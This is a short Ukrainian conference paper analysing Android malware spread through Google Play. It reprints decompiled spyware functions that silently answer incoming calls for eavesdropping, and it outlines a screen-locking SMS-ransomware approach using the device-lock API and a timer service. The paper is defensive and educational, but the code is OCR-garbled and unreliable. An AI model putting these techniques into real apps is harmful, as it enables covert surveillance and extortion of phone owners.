Молодан Б.О., Ряба О.І.

Національний авіаційний університет,Україна

АНАЛІЗ ШКІДЛИВОГО КОДУ ДЛЯ ОПЕРАЦІЙНОЇ СИСТЕМИ ANDROID

 

Серед власників мобільних телефонів на ОС Android росте занепокоєння. Причина тому — швидко зростаюча кількість шкідливого коду, який потрапляє на апарати користувачів, цілком легальним способом — встановлюється  з офіційного магазину додатків Google Play.

Перші скарги у власників смартфонів з'явилися в січні цього року. Основний ґвалт піднявся в березні 2011, коли стало відомо, що в Google Play з'явилися віруси, які таємно крадуть особисті дані власників смартфонів. Компанія дуже швидко реабілітувалася, вилучивши аккаунт зловмисника, увесь шкідливий код,  а також деінсталювала встановлені додатки з телефонів користувачів.

До початку серпня 2011 галас із шкідливим кодом спав, але з'явився вірус, який крім викрадення особистих даних ще й записує телефонні розмови. Працює він у такий спосіб: при кожному дзвінку програма активізується й зберігає розмови на карту пам'яті в папці /shangzhou/callrecord у форматі amr. З'ясувати, чи відправляє вона ці записи куди-небудь, так і не вдалося.

У квітні 2012 з'явився додаток Google++, що маскується під програму для відомої соціальної мережі від корпорації Google. Він також збирає всю інформацію про користувача, але найбільший інтерес громадськості викликала функція «підслуховування розмов». На практиці при виявленні вхідного дзвінка додаток переводить телефон у тихий режим, приховує повідомлення про дзвінок і піднімає слухавку. Якщо врахувати, що при перемовинах багато з людей кладуть телефон перед собою, то певна користь від такого способу може бути.

У своїй доповіді я розгляну, яким чином вірус переходив телефон у безмовний режим і непомітно піднімав слухавку. Тут приведені самі цікаві функції, які дозволять перевести телефон у тихий режим і відповісти на дзвінок:

 

private void silenceresponse()

{

int i = Log.w("spy","silenceresponse");

int j = this.audiomanager.getringermode();

int k = this.audiomanager.getvibratesetting(0);

this.oldringer = k;

int m = this.audiomanager.getvibratesetting(l);

this .oldnotification = m;

this.audiomanager.setringermode(0);

this.audiomanager.setvibratesetting(0, в);

this.audiomanager.setvibratesetting(l, 0);

}

Відповідь на дзвінок і приховання повідомлення про нього:

private void answercall()

{

try {

Phonelltil.getitelephony(this .tm). silenceringer();

boolean bool = Phoneutil.getitelephony(this.m).showcallscreenwithdialpad(0); Phoneutil.gettelephony(this.tm).answerringingcall();

Thread.sleep(800L);

gotohomepageq;

 setkeyguard(0);

return;

}

}

Популярність SMS — здирників для Windows вже показала, що зловмисник цілком може заробити на  користувачах, тому думка портувати цю ідею для Android пристроїв видається цілком логічною.

Перше, що приходить на думку, — створити свій власний блокувальник, зробити це не так легко. По-перше, політика безпеки Android дозволяє користувачу завжди вийти з будь-якого додатка натиснувши клавішу Home, і якщо інші клавіші зловмисник може заблокувати, то Home залишається завжди.

Другий вихід із ситуації — виставити власний паттерн блокування апарата й вимагати з користувача гроші за вірну комбінацію. Але тут зловмисники знову зустрічаються із проблемою: на нерутованому пристрої, а таких більшість, провернути такий трюк не вдасться. Тому якщо комусь захочеться створити щось подібне, потрібно реалізувати експлойт, який буде спочатку рутити смартфон.

Таким чином, саме небезпечне, що можна зробити за допомогою API Android — це просто запустити блокування екрана. Робиться це в Android 2.2 у такий спосіб:

Devicepolicymanager devicepolicymanager =(Devicepolicymanager) getsystemservice(Context,DEVICE_POLICY_SERVICE); devicepolicymanager.locknow();

Можна зробити це таким чином, щоб екран у користувача блокувався кожні кілька хвилин, що зрештою змусить його й відправить платну SMS.

Для виконання фонових завдань в Android є інструмент — service. Розглянемо конструкцію найпростішого сервісу. Насамперед, потрібно оголосити сервіс у файлі Androidmanifest.xml:

«service android:enabled="true" android:name=".Service_Activity"></service>

Тут Service_Activity — це ім'я сервісу. Тепер потрібно оголосити клас, що описує сервіс, а також його запуск і зупинку:

public class Service_Activity extends Service {

private Timerjtimer = new Timer();

public void oncreate(){

                   super.oncreate();

                   startservice();

}

private void startservice(){

timer.scheduleatfixedrate(new Timertask(){

public void run(){

//Тут можна виконувати

//заплановані дії

}

},0,1000);

}

private void stopservice(){

if(timer != null) {

timer. Cancel();

}

}

}

Для наочності — просто створюємо таймер, який буде виконувати заплановані дії із заданим інтервалом. У реальному прикладі код, звичайно, ускладниться, але суть у цілому залишиться тієї ж. Тепер усе, що потрібно — це просто викликати його з додатку.

Зараз можливо сказати, що проблема мобільних вірусів перебуває у зародку, але із цього зародка згодом може вирости могутній монстр. Кількість смартфонів росте в геометричній прогресії. A Google на догоду розроблювачам спростив приймання додатків у маркет, тим самим зробивши можливим проникнення в нього шкідливого коду

Для того, щоб захистити себе. Перше, що варто зробити, убезпечити телефон від фізичного вторгнення. Друге: уникати інших джерел додатків, крім офіційного маркета, і відключити в налаштуваннях опцію «Довіряти невідомим джерелам». При установці додатка завжди звертати увагу на виробника й на назву. Звертати увагу на дозволи, які потрібні програмі.

 

Література

1.     Ф. Коен Computer Viruses - Theory and Experiments   Computers & Security 6, 1987р., с. 22-35;

2.     Д. Чесс, С. Вайт An Undetectable Computer Virus IBM Thomas J. Watson Research Center, 1987р., с 30-35;

3.     Є.В. Касперського Комп'ютерні віруси  Питер, 2007 р.,  208 с.;

4.     Э. Джон Hacking: The Art of Exploitation Символ-Плюс, 2010 р., 512 с.;